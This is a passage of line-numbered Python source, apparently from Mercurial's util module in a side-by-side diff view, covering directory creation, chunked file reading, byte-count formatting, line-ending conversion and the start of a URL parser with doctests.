2159 except OSError as e:
2158 except OSError as e:
2160 if e.errno != errno.ENOENT:
2159 if e.errno != errno.ENOENT:
2161 raise
2160 raise
2162
2161
2163 def makedirs(name, mode=None, notindexed=False):
2162 def makedirs(name, mode=None, notindexed=False):
2164 """recursive directory creation with parent mode inheritance
2163 """recursive directory creation with parent mode inheritance
2165
2164
2166 Newly created directories are marked as "not to be indexed by
2165 Newly created directories are marked as "not to be indexed by
2167 the content indexing service", if ``notindexed`` is specified
2166 the content indexing service", if ``notindexed`` is specified
2168 for "write" mode access.
2167 for "write" mode access.
2169 """
2168 """
2170 try:
2169 try:
2171 makedir(name, notindexed)
2170 makedir(name, notindexed)
2172 except OSError as err:
2171 except OSError as err:
2173 if err.errno == errno.EEXIST:
2172 if err.errno == errno.EEXIST:
2174 return
2173 return
2175 if err.errno != errno.ENOENT or not name:
2174 if err.errno != errno.ENOENT or not name:
2176 raise
2175 raise
2177 parent = os.path.dirname(os.path.abspath(name))
2176 parent = os.path.dirname(os.path.abspath(name))
2178 if parent == name:
2177 if parent == name:
2179 raise
2178 raise
2180 makedirs(parent, mode, notindexed)
2179 makedirs(parent, mode, notindexed)
2181 try:
2180 try:
2182 makedir(name, notindexed)
2181 makedir(name, notindexed)
2183 except OSError as err:
2182 except OSError as err:
2184 # Catch EEXIST to handle races
2183 # Catch EEXIST to handle races
2185 if err.errno == errno.EEXIST:
2184 if err.errno == errno.EEXIST:
2186 return
2185 return
2187 raise
2186 raise
2188 if mode is not None:
2187 if mode is not None:
2189 os.chmod(name, mode)
2188 os.chmod(name, mode)
2190
2189
2191 def readfile(path):
2190 def readfile(path):
2192 with open(path, 'rb') as fp:
2191 with open(path, 'rb') as fp:
2193 return fp.read()
2192 return fp.read()
2194
2193
2195 def writefile(path, text):
2194 def writefile(path, text):
2196 with open(path, 'wb') as fp:
2195 with open(path, 'wb') as fp:
2197 fp.write(text)
2196 fp.write(text)
2198
2197
2199 def appendfile(path, text):
2198 def appendfile(path, text):
2200 with open(path, 'ab') as fp:
2199 with open(path, 'ab') as fp:
2201 fp.write(text)
2200 fp.write(text)
2202
2201
2203 class chunkbuffer(object):
2202 class chunkbuffer(object):
2204 """Allow arbitrary sized chunks of data to be efficiently read from an
2203 """Allow arbitrary sized chunks of data to be efficiently read from an
2205 iterator over chunks of arbitrary size."""
2204 iterator over chunks of arbitrary size."""
2206
2205
2207 def __init__(self, in_iter):
2206 def __init__(self, in_iter):
2208 """in_iter is the iterator that's iterating over the input chunks."""
2207 """in_iter is the iterator that's iterating over the input chunks."""
2209 def splitbig(chunks):
2208 def splitbig(chunks):
2210 for chunk in chunks:
2209 for chunk in chunks:
2211 if len(chunk) > 2**20:
2210 if len(chunk) > 2**20:
2212 pos = 0
2211 pos = 0
2213 while pos < len(chunk):
2212 while pos < len(chunk):
2214 end = pos + 2 ** 18
2213 end = pos + 2 ** 18
2215 yield chunk[pos:end]
2214 yield chunk[pos:end]
2216 pos = end
2215 pos = end
2217 else:
2216 else:
2218 yield chunk
2217 yield chunk
2219 self.iter = splitbig(in_iter)
2218 self.iter = splitbig(in_iter)
2220 self._queue = collections.deque()
2219 self._queue = collections.deque()
2221 self._chunkoffset = 0
2220 self._chunkoffset = 0
2222
2221
2223 def read(self, l=None):
2222 def read(self, l=None):
2224 """Read L bytes of data from the iterator of chunks of data.
2223 """Read L bytes of data from the iterator of chunks of data.
2225 Returns less than L bytes if the iterator runs dry.
2224 Returns less than L bytes if the iterator runs dry.
2226
2225
2227 If size parameter is omitted, read everything"""
2226 If size parameter is omitted, read everything"""
2228 if l is None:
2227 if l is None:
2229 return ''.join(self.iter)
2228 return ''.join(self.iter)
2230
2229
2231 left = l
2230 left = l
2232 buf = []
2231 buf = []
2233 queue = self._queue
2232 queue = self._queue
2234 while left > 0:
2233 while left > 0:
2235 # refill the queue
2234 # refill the queue
2236 if not queue:
2235 if not queue:
2237 target = 2**18
2236 target = 2**18
2238 for chunk in self.iter:
2237 for chunk in self.iter:
2239 queue.append(chunk)
2238 queue.append(chunk)
2240 target -= len(chunk)
2239 target -= len(chunk)
2241 if target <= 0:
2240 if target <= 0:
2242 break
2241 break
2243 if not queue:
2242 if not queue:
2244 break
2243 break
2245
2244
2246 # The easy way to do this would be to queue.popleft(), modify the
2245 # The easy way to do this would be to queue.popleft(), modify the
2247 # chunk (if necessary), then queue.appendleft(). However, for cases
2246 # chunk (if necessary), then queue.appendleft(). However, for cases
2248 # where we read partial chunk content, this incurs 2 dequeue
2247 # where we read partial chunk content, this incurs 2 dequeue
2249 # mutations and creates a new str for the remaining chunk in the
2248 # mutations and creates a new str for the remaining chunk in the
2250 # queue. Our code below avoids this overhead.
2249 # queue. Our code below avoids this overhead.
2251
2250
2252 chunk = queue[0]
2251 chunk = queue[0]
2253 chunkl = len(chunk)
2252 chunkl = len(chunk)
2254 offset = self._chunkoffset
2253 offset = self._chunkoffset
2255
2254
2256 # Use full chunk.
2255 # Use full chunk.
2257 if offset == 0 and left >= chunkl:
2256 if offset == 0 and left >= chunkl:
2258 left -= chunkl
2257 left -= chunkl
2259 queue.popleft()
2258 queue.popleft()
2260 buf.append(chunk)
2259 buf.append(chunk)
2261 # self._chunkoffset remains at 0.
2260 # self._chunkoffset remains at 0.
2262 continue
2261 continue
2263
2262
2264 chunkremaining = chunkl - offset
2263 chunkremaining = chunkl - offset
2265
2264
2266 # Use all of unconsumed part of chunk.
2265 # Use all of unconsumed part of chunk.
2267 if left >= chunkremaining:
2266 if left >= chunkremaining:
2268 left -= chunkremaining
2267 left -= chunkremaining
2269 queue.popleft()
2268 queue.popleft()
2270 # offset == 0 is enabled by block above, so this won't merely
2269 # offset == 0 is enabled by block above, so this won't merely
2271 # copy via ``chunk[0:]``.
2270 # copy via ``chunk[0:]``.
2272 buf.append(chunk[offset:])
2271 buf.append(chunk[offset:])
2273 self._chunkoffset = 0
2272 self._chunkoffset = 0
2274
2273
2275 # Partial chunk needed.
2274 # Partial chunk needed.
2276 else:
2275 else:
2277 buf.append(chunk[offset:offset + left])
2276 buf.append(chunk[offset:offset + left])
2278 self._chunkoffset += left
2277 self._chunkoffset += left
2279 left -= chunkremaining
2278 left -= chunkremaining
2280
2279
2281 return ''.join(buf)
2280 return ''.join(buf)
2282
2281
2283 def filechunkiter(f, size=131072, limit=None):
2282 def filechunkiter(f, size=131072, limit=None):
2284 """Create a generator that produces the data in the file size
2283 """Create a generator that produces the data in the file size
2285 (default 131072) bytes at a time, up to optional limit (default is
2284 (default 131072) bytes at a time, up to optional limit (default is
2286 to read all data). Chunks may be less than size bytes if the
2285 to read all data). Chunks may be less than size bytes if the
2287 chunk is the last chunk in the file, or the file is a socket or
2286 chunk is the last chunk in the file, or the file is a socket or
2288 some other type of file that sometimes reads less data than is
2287 some other type of file that sometimes reads less data than is
2289 requested."""
2288 requested."""
2290 assert size >= 0
2289 assert size >= 0
2291 assert limit is None or limit >= 0
2290 assert limit is None or limit >= 0
2292 while True:
2291 while True:
2293 if limit is None:
2292 if limit is None:
2294 nbytes = size
2293 nbytes = size
2295 else:
2294 else:
2296 nbytes = min(limit, size)
2295 nbytes = min(limit, size)
2297 s = nbytes and f.read(nbytes)
2296 s = nbytes and f.read(nbytes)
2298 if not s:
2297 if not s:
2299 break
2298 break
2300 if limit:
2299 if limit:
2301 limit -= len(s)
2300 limit -= len(s)
2302 yield s
2301 yield s
2303
2302
2304 class cappedreader(object):
2303 class cappedreader(object):
2305 """A file object proxy that allows reading up to N bytes.
2304 """A file object proxy that allows reading up to N bytes.
2306
2305
2307 Given a source file object, instances of this type allow reading up to
2306 Given a source file object, instances of this type allow reading up to
2308 N bytes from that source file object. Attempts to read past the allowed
2307 N bytes from that source file object. Attempts to read past the allowed
2309 limit are treated as EOF.
2308 limit are treated as EOF.
2310
2309
2311 It is assumed that I/O is not performed on the original file object
2310 It is assumed that I/O is not performed on the original file object
2312 in addition to I/O that is performed by this instance. If there is,
2311 in addition to I/O that is performed by this instance. If there is,
2313 state tracking will get out of sync and unexpected results will ensue.
2312 state tracking will get out of sync and unexpected results will ensue.
2314 """
2313 """
2315 def __init__(self, fh, limit):
2314 def __init__(self, fh, limit):
2316 """Allow reading up to <limit> bytes from <fh>."""
2315 """Allow reading up to <limit> bytes from <fh>."""
2317 self._fh = fh
2316 self._fh = fh
2318 self._left = limit
2317 self._left = limit
2319
2318
2320 def read(self, n=-1):
2319 def read(self, n=-1):
2321 if not self._left:
2320 if not self._left:
2322 return b''
2321 return b''
2323
2322
2324 if n < 0:
2323 if n < 0:
2325 n = self._left
2324 n = self._left
2326
2325
2327 data = self._fh.read(min(n, self._left))
2326 data = self._fh.read(min(n, self._left))
2328 self._left -= len(data)
2327 self._left -= len(data)
2329 assert self._left >= 0
2328 assert self._left >= 0
2330
2329
2331 return data
2330 return data
2332
2331
2333 def readinto(self, b):
2332 def readinto(self, b):
2334 res = self.read(len(b))
2333 res = self.read(len(b))
2335 if res is None:
2334 if res is None:
2336 return None
2335 return None
2337
2336
2338 b[0:len(res)] = res
2337 b[0:len(res)] = res
2339 return len(res)
2338 return len(res)
2340
2339
2341 def unitcountfn(*unittable):
2340 def unitcountfn(*unittable):
2342 '''return a function that renders a readable count of some quantity'''
2341 '''return a function that renders a readable count of some quantity'''
2343
2342
2344 def go(count):
2343 def go(count):
2345 for multiplier, divisor, format in unittable:
2344 for multiplier, divisor, format in unittable:
2346 if abs(count) >= divisor * multiplier:
2345 if abs(count) >= divisor * multiplier:
2347 return format % (count / float(divisor))
2346 return format % (count / float(divisor))
2348 return unittable[-1][2] % count
2347 return unittable[-1][2] % count
2349
2348
2350 return go
2349 return go
2351
2350
2352 def processlinerange(fromline, toline):
2351 def processlinerange(fromline, toline):
2353 """Check that linerange <fromline>:<toline> makes sense and return a
2352 """Check that linerange <fromline>:<toline> makes sense and return a
2354 0-based range.
2353 0-based range.
2355
2354
2356 >>> processlinerange(10, 20)
2355 >>> processlinerange(10, 20)
2357 (9, 20)
2356 (9, 20)
2358 >>> processlinerange(2, 1)
2357 >>> processlinerange(2, 1)
2359 Traceback (most recent call last):
2358 Traceback (most recent call last):
2360 ...
2359 ...
2361 ParseError: line range must be positive
2360 ParseError: line range must be positive
2362 >>> processlinerange(0, 5)
2361 >>> processlinerange(0, 5)
2363 Traceback (most recent call last):
2362 Traceback (most recent call last):
2364 ...
2363 ...
2365 ParseError: fromline must be strictly positive
2364 ParseError: fromline must be strictly positive
2366 """
2365 """
2367 if toline - fromline < 0:
2366 if toline - fromline < 0:
2368 raise error.ParseError(_("line range must be positive"))
2367 raise error.ParseError(_("line range must be positive"))
2369 if fromline < 1:
2368 if fromline < 1:
2370 raise error.ParseError(_("fromline must be strictly positive"))
2369 raise error.ParseError(_("fromline must be strictly positive"))
2371 return fromline - 1, toline
2370 return fromline - 1, toline
2372
2371
2373 bytecount = unitcountfn(
2372 bytecount = unitcountfn(
2374 (100, 1 << 30, _('%.0f GB')),
2373 (100, 1 << 30, _('%.0f GB')),
2375 (10, 1 << 30, _('%.1f GB')),
2374 (10, 1 << 30, _('%.1f GB')),
2376 (1, 1 << 30, _('%.2f GB')),
2375 (1, 1 << 30, _('%.2f GB')),
2377 (100, 1 << 20, _('%.0f MB')),
2376 (100, 1 << 20, _('%.0f MB')),
2378 (10, 1 << 20, _('%.1f MB')),
2377 (10, 1 << 20, _('%.1f MB')),
2379 (1, 1 << 20, _('%.2f MB')),
2378 (1, 1 << 20, _('%.2f MB')),
2380 (100, 1 << 10, _('%.0f KB')),
2379 (100, 1 << 10, _('%.0f KB')),
2381 (10, 1 << 10, _('%.1f KB')),
2380 (10, 1 << 10, _('%.1f KB')),
2382 (1, 1 << 10, _('%.2f KB')),
2381 (1, 1 << 10, _('%.2f KB')),
2383 (1, 1, _('%.0f bytes')),
2382 (1, 1, _('%.0f bytes')),
2384 )
2383 )
2385
2384
2386 class transformingwriter(object):
2385 class transformingwriter(object):
2387 """Writable file wrapper to transform data by function"""
2386 """Writable file wrapper to transform data by function"""
2388
2387
2389 def __init__(self, fp, encode):
2388 def __init__(self, fp, encode):
2390 self._fp = fp
2389 self._fp = fp
2391 self._encode = encode
2390 self._encode = encode
2392
2391
2393 def close(self):
2392 def close(self):
2394 self._fp.close()
2393 self._fp.close()
2395
2394
2396 def flush(self):
2395 def flush(self):
2397 self._fp.flush()
2396 self._fp.flush()
2398
2397
2399 def write(self, data):
2398 def write(self, data):
2400 return self._fp.write(self._encode(data))
2399 return self._fp.write(self._encode(data))
2401
2400
2402 # Matches a single EOL which can either be a CRLF where repeated CR
2401 # Matches a single EOL which can either be a CRLF where repeated CR
2403 # are removed or a LF. We do not care about old Macintosh files, so a
2402 # are removed or a LF. We do not care about old Macintosh files, so a
2404 # stray CR is an error.
2403 # stray CR is an error.
2405 _eolre = remod.compile(br'\r*\n')
2404 _eolre = remod.compile(br'\r*\n')
2406
2405
2407 def tolf(s):
2406 def tolf(s):
2408 return _eolre.sub('\n', s)
2407 return _eolre.sub('\n', s)
2409
2408
2410 def tocrlf(s):
2409 def tocrlf(s):
2411 return _eolre.sub('\r\n', s)
2410 return _eolre.sub('\r\n', s)
2412
2411
2413 def _crlfwriter(fp):
2412 def _crlfwriter(fp):
2414 return transformingwriter(fp, tocrlf)
2413 return transformingwriter(fp, tocrlf)
2415
2414
2416 if pycompat.oslinesep == '\r\n':
2415 if pycompat.oslinesep == '\r\n':
2417 tonativeeol = tocrlf
2416 tonativeeol = tocrlf
2418 fromnativeeol = tolf
2417 fromnativeeol = tolf
2419 nativeeolwriter = _crlfwriter
2418 nativeeolwriter = _crlfwriter
2420 else:
2419 else:
2421 tonativeeol = pycompat.identity
2420 tonativeeol = pycompat.identity
2422 fromnativeeol = pycompat.identity
2421 fromnativeeol = pycompat.identity
2423 nativeeolwriter = pycompat.identity
2422 nativeeolwriter = pycompat.identity
2424
2423
2425 if (pyplatform.python_implementation() == 'CPython' and
2424 if (pyplatform.python_implementation() == 'CPython' and
2426 sys.version_info < (3, 0)):
2425 sys.version_info < (3, 0)):
2427 # There is an issue in CPython that some IO methods do not handle EINTR
2426 # There is an issue in CPython that some IO methods do not handle EINTR
2428 # correctly. The following table shows what CPython version (and functions)
2427 # correctly. The following table shows what CPython version (and functions)
2429 # are affected (buggy: has the EINTR bug, okay: otherwise):
2428 # are affected (buggy: has the EINTR bug, okay: otherwise):
2430 #
2429 #
2431 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2430 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2432 # --------------------------------------------------
2431 # --------------------------------------------------
2433 # fp.__iter__ | buggy | buggy | okay
2432 # fp.__iter__ | buggy | buggy | okay
2434 # fp.read* | buggy | okay [1] | okay
2433 # fp.read* | buggy | okay [1] | okay
2435 #
2434 #
2436 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2435 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2437 #
2436 #
2438 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2437 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2439 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2438 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2440 #
2439 #
2441 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2440 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2442 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2441 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2443 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2442 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2444 # fp.__iter__ but not other fp.read* methods.
2443 # fp.__iter__ but not other fp.read* methods.
2445 #
2444 #
2446 # On modern systems like Linux, the "read" syscall cannot be interrupted
2445 # On modern systems like Linux, the "read" syscall cannot be interrupted
2447 # when reading "fast" files like on-disk files. So the EINTR issue only
2446 # when reading "fast" files like on-disk files. So the EINTR issue only
2448 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2447 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2449 # files approximately as "fast" files and use the fast (unsafe) code path,
2448 # files approximately as "fast" files and use the fast (unsafe) code path,
2450 # to minimize the performance impact.
2449 # to minimize the performance impact.
2451 if sys.version_info >= (2, 7, 4):
2450 if sys.version_info >= (2, 7, 4):
2452 # fp.readline deals with EINTR correctly, use it as a workaround.
2451 # fp.readline deals with EINTR correctly, use it as a workaround.
2453 def _safeiterfile(fp):
2452 def _safeiterfile(fp):
2454 return iter(fp.readline, '')
2453 return iter(fp.readline, '')
2455 else:
2454 else:
2456 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2455 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2457 # note: this may block longer than necessary because of bufsize.
2456 # note: this may block longer than necessary because of bufsize.
2458 def _safeiterfile(fp, bufsize=4096):
2457 def _safeiterfile(fp, bufsize=4096):
2459 fd = fp.fileno()
2458 fd = fp.fileno()
2460 line = ''
2459 line = ''
2461 while True:
2460 while True:
2462 try:
2461 try:
2463 buf = os.read(fd, bufsize)
2462 buf = os.read(fd, bufsize)
2464 except OSError as ex:
2463 except OSError as ex:
2465 # os.read only raises EINTR before any data is read
2464 # os.read only raises EINTR before any data is read
2466 if ex.errno == errno.EINTR:
2465 if ex.errno == errno.EINTR:
2467 continue
2466 continue
2468 else:
2467 else:
2469 raise
2468 raise
2470 line += buf
2469 line += buf
2471 if '\n' in buf:
2470 if '\n' in buf:
2472 splitted = line.splitlines(True)
2471 splitted = line.splitlines(True)
2473 line = ''
2472 line = ''
2474 for l in splitted:
2473 for l in splitted:
2475 if l[-1] == '\n':
2474 if l[-1] == '\n':
2476 yield l
2475 yield l
2477 else:
2476 else:
2478 line = l
2477 line = l
2479 if not buf:
2478 if not buf:
2480 break
2479 break
2481 if line:
2480 if line:
2482 yield line
2481 yield line
2483
2482
2484 def iterfile(fp):
2483 def iterfile(fp):
2485 fastpath = True
2484 fastpath = True
2486 if type(fp) is file:
2485 if type(fp) is file:
2487 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2486 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2488 if fastpath:
2487 if fastpath:
2489 return fp
2488 return fp
2490 else:
2489 else:
2491 return _safeiterfile(fp)
2490 return _safeiterfile(fp)
2492 else:
2491 else:
2493 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2492 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2494 def iterfile(fp):
2493 def iterfile(fp):
2495 return fp
2494 return fp
2496
2495
2497 def iterlines(iterator):
2496 def iterlines(iterator):
2498 for chunk in iterator:
2497 for chunk in iterator:
2499 for line in chunk.splitlines():
2498 for line in chunk.splitlines():
2500 yield line
2499 yield line
2501
2500
2502 def expandpath(path):
2501 def expandpath(path):
2503 return os.path.expanduser(os.path.expandvars(path))
2502 return os.path.expanduser(os.path.expandvars(path))
2504
2503
2505 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2504 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2506 """Return the result of interpolating items in the mapping into string s.
2505 """Return the result of interpolating items in the mapping into string s.
2507
2506
2508 prefix is a single character string, or a two character string with
2507 prefix is a single character string, or a two character string with
2509 a backslash as the first character if the prefix needs to be escaped in
2508 a backslash as the first character if the prefix needs to be escaped in
2510 a regular expression.
2509 a regular expression.
2511
2510
2512 fn is an optional function that will be applied to the replacement text
2511 fn is an optional function that will be applied to the replacement text
2513 just before replacement.
2512 just before replacement.
2514
2513
2515 escape_prefix is an optional flag that allows using doubled prefix for
2514 escape_prefix is an optional flag that allows using doubled prefix for
2516 its escaping.
2515 its escaping.
2517 """
2516 """
2518 fn = fn or (lambda s: s)
2517 fn = fn or (lambda s: s)
2519 patterns = '|'.join(mapping.keys())
2518 patterns = '|'.join(mapping.keys())
2520 if escape_prefix:
2519 if escape_prefix:
2521 patterns += '|' + prefix
2520 patterns += '|' + prefix
2522 if len(prefix) > 1:
2521 if len(prefix) > 1:
2523 prefix_char = prefix[1:]
2522 prefix_char = prefix[1:]
2524 else:
2523 else:
2525 prefix_char = prefix
2524 prefix_char = prefix
2526 mapping[prefix_char] = prefix_char
2525 mapping[prefix_char] = prefix_char
2527 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2526 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2528 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2527 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2529
2528
2530 def getport(port):
2529 def getport(port):
2531 """Return the port for a given network service.
2530 """Return the port for a given network service.
2532
2531
2533 If port is an integer, it's returned as is. If it's a string, it's
2532 If port is an integer, it's returned as is. If it's a string, it's
2534 looked up using socket.getservbyname(). If there's no matching
2533 looked up using socket.getservbyname(). If there's no matching
2535 service, error.Abort is raised.
2534 service, error.Abort is raised.
2536 """
2535 """
2537 try:
2536 try:
2538 return int(port)
2537 return int(port)
2539 except ValueError:
2538 except ValueError:
2540 pass
2539 pass
2541
2540
2542 try:
2541 try:
2543 return socket.getservbyname(pycompat.sysstr(port))
2542 return socket.getservbyname(pycompat.sysstr(port))
2544 except socket.error:
2543 except socket.error:
2545 raise error.Abort(_("no port number associated with service '%s'")
2544 raise error.Abort(_("no port number associated with service '%s'")
2546 % port)
2545 % port)
2547
2546
2548 class url(object):
2547 class url(object):
2549 r"""Reliable URL parser.
2548 r"""Reliable URL parser.
2550
2549
2551 This parses URLs and provides attributes for the following
2550 This parses URLs and provides attributes for the following
2552 components:
2551 components:
2553
2552
2554 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2553 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2555
2554
2556 Missing components are set to None. The only exception is
2555 Missing components are set to None. The only exception is
2557 fragment, which is set to '' if present but empty.
2556 fragment, which is set to '' if present but empty.
2558
2557
2559 If parsefragment is False, fragment is included in query. If
2558 If parsefragment is False, fragment is included in query. If
2560 parsequery is False, query is included in path. If both are
2559 parsequery is False, query is included in path. If both are
2561 False, both fragment and query are included in path.
2560 False, both fragment and query are included in path.
2562
2561
2563 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2562 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2564
2563
2565 Note that for backward compatibility reasons, bundle URLs do not
2564 Note that for backward compatibility reasons, bundle URLs do not
2566 take host names. That means 'bundle://../' has a path of '../'.
2565 take host names. That means 'bundle://../' has a path of '../'.
2567
2566
2568 Examples:
2567 Examples:
2569
2568
2570 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2569 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2571 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2570 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2572 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2571 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2573 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2572 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2574 >>> url(b'file:///home/joe/repo')
2573 >>> url(b'file:///home/joe/repo')
2575 <url scheme: 'file', path: '/home/joe/repo'>
2574 <url scheme: 'file', path: '/home/joe/repo'>
2576 >>> url(b'file:///c:/temp/foo/')
2575 >>> url(b'file:///c:/temp/foo/')
2577 <url scheme: 'file', path: 'c:/temp/foo/'>
2576 <url scheme: 'file', path: 'c:/temp/foo/'>
2578 >>> url(b'bundle:foo')
2577 >>> url(b'bundle:foo')
2579 <url scheme: 'bundle', path: 'foo'>
2578 <url scheme: 'bundle', path: 'foo'>
2580 >>> url(b'bundle://../foo')
2579 >>> url(b'bundle://../foo')
2581 <url scheme: 'bundle', path: '../foo'>
2580 <url scheme: 'bundle', path: '../foo'>
2582 >>> url(br'c:\foo\bar')
2581 >>> url(br'c:\foo\bar')
2583 <url path: 'c:\\foo\\bar'>
2582 <url path: 'c:\\foo\\bar'>
2584 >>> url(br'\\blah\blah\blah')
2583 >>> url(br'\\blah\blah\blah')
2585 <url path: '\\\\blah\\blah\\blah'>
2584 <url path: '\\\\blah\\blah\\blah'>
2586 >>> url(br'\\blah\blah\blah#baz')
2585 >>> url(br'\\blah\blah\blah#baz')
2587 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2586 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2588 >>> url(br'file:///C:\users\me')
2587 >>> url(br'file:///C:\users\me')
2589 <url scheme: 'file', path: 'C:\\users\\me'>
2588 <url scheme: 'file', path: 'C:\\users\\me'>
2590
2589
2591 Authentication credentials:
2590 Authentication credentials:
2592
2591
2593 >>> url(b'ssh://joe:xyz@x/repo')
2592 >>> url(b'ssh://joe:xyz@x/repo')
2594 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2593 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2595 >>> url(b'ssh://joe@x/repo')
2594 >>> url(b'ssh://joe@x/repo')
2596 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2595 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2597
2596
2598 Query strings and fragments:
2597 Query strings and fragments:
2599
2598
2600 >>> url(b'http://host/a?b#c')
2599 >>> url(b'http://host/a?b#c')
2601 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2600 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2602 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2601 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2603 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2602 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2604
2603
2605 Empty path:
2604 Empty path:
2606
2605
2607 >>> url(b'')
2606 >>> url(b'')
2608 <url path: ''>
2607 <url path: ''>
2609 >>> url(b'#a')
2608 >>> url(b'#a')
2610 <url path: '', fragment: 'a'>
2609 <url path: '', fragment: 'a'>
2611 >>> url(b'http://host/')
2610 >>> url(b'http://host/')
2612 <url scheme: 'http', host: 'host', path: ''>
2611 <url scheme: 'http', host: 'host', path: ''>
2613 >>> url(b'http://host/#a')
2612 >>> url(b'http://host/#a')
2614 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2613 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2615
2614
2616 Only scheme:
2615 Only scheme:
2617
2616
2618 >>> url(b'http:')
2617 >>> url(b'http:')
2619 <url scheme: 'http'>
2618 <url scheme: 'http'>
2620 """
2619 """
2621
2620
2622 _safechars = "!~*'()+"
2621 _safechars = "!~*'()+"
2623 _safepchars = "/!~*'()+:\\"
2622 _safepchars = "/!~*'()+:\\"
2624 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2623 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2625
2624
2626 def __init__(self, path, parsequery=True, parsefragment=True):
2625 def __init__(self, path, parsequery=True, parsefragment=True):
2627 # We slowly chomp away at path until we have only the path left
2626 # We slowly chomp away at path until we have only the path left
2628 self.scheme = self.user = self.passwd = self.host = None
2627 self.scheme = self.user = self.passwd = self.host = None
2629 self.port = self.path = self.query = self.fragment = None
2628 self.port = self.path = self.query = self.fragment = None
2630 self._localpath = True
2629 self._localpath = True
2631 self._hostport = ''
2630 self._hostport = ''
2632 self._origpath = path
2631 self._origpath = path
2633
2632
2634 if parsefragment and '#' in path:
2633 if parsefragment and '#' in path:
2635 path, self.fragment = path.split('#', 1)
2634 path, self.fragment = path.split('#', 1)
2636
2635
2637 # special case for Windows drive letters and UNC paths
2636 # special case for Windows drive letters and UNC paths
2638 if hasdriveletter(path) or path.startswith('\\\\'):
2637 if hasdriveletter(path) or path.startswith('\\\\'):
2639 self.path = path
2638 self.path = path
2640 return
2639 return
2641
2640
2642 # For compatibility reasons, we can't handle bundle paths as
2641 # For compatibility reasons, we can't handle bundle paths as
2643 # normal URLS
2642 # normal URLS
2644 if path.startswith('bundle:'):
2643 if path.startswith('bundle:'):
2645 self.scheme = 'bundle'
2644 self.scheme = 'bundle'
2646 path = path[7:]
2645 path = path[7:]
2647 if path.startswith('//'):
2646 if path.startswith('//'):
2648 path = path[2:]
2647 path = path[2:]
2649 self.path = path
2648 self.path = path
2650 return
2649 return
2651
2650
2652 if self._matchscheme(path):
2651 if self._matchscheme(path):
2653 parts = path.split(':', 1)
2652 parts = path.split(':', 1)
2654 if parts[0]:
2653 if parts[0]:
2655 self.scheme, path = parts
2654 self.scheme, path = parts
2656 self._localpath = False
2655 self._localpath = False
2657
2656
2658 if not path:
2657 if not path:
2659 path = None
2658 path = None
2660 if self._localpath:
2659 if self._localpath:
2661 self.path = ''
2660 self.path = ''
2662 return
2661 return
2663 else:
2662 else:
2664 if self._localpath:
2663 if self._localpath:
2665 self.path = path
2664 self.path = path
2666 return
2665 return
2667
2666
2668 if parsequery and '?' in path:
2667 if parsequery and '?' in path:
2669 path, self.query = path.split('?', 1)
2668 path, self.query = path.split('?', 1)
2670 if not path:
2669 if not path:
2671 path = None
2670 path = None
2672 if not self.query:
2671 if not self.query:
2673 self.query = None
2672 self.query = None
2674
2673
2675 # // is required to specify a host/authority
2674 # // is required to specify a host/authority
2676 if path and path.startswith('//'):
2675 if path and path.startswith('//'):
2677 parts = path[2:].split('/', 1)
2676 parts = path[2:].split('/', 1)
2678 if len(parts) > 1:
2677 if len(parts) > 1:
2679 self.host, path = parts
2678 self.host, path = parts
2680 else:
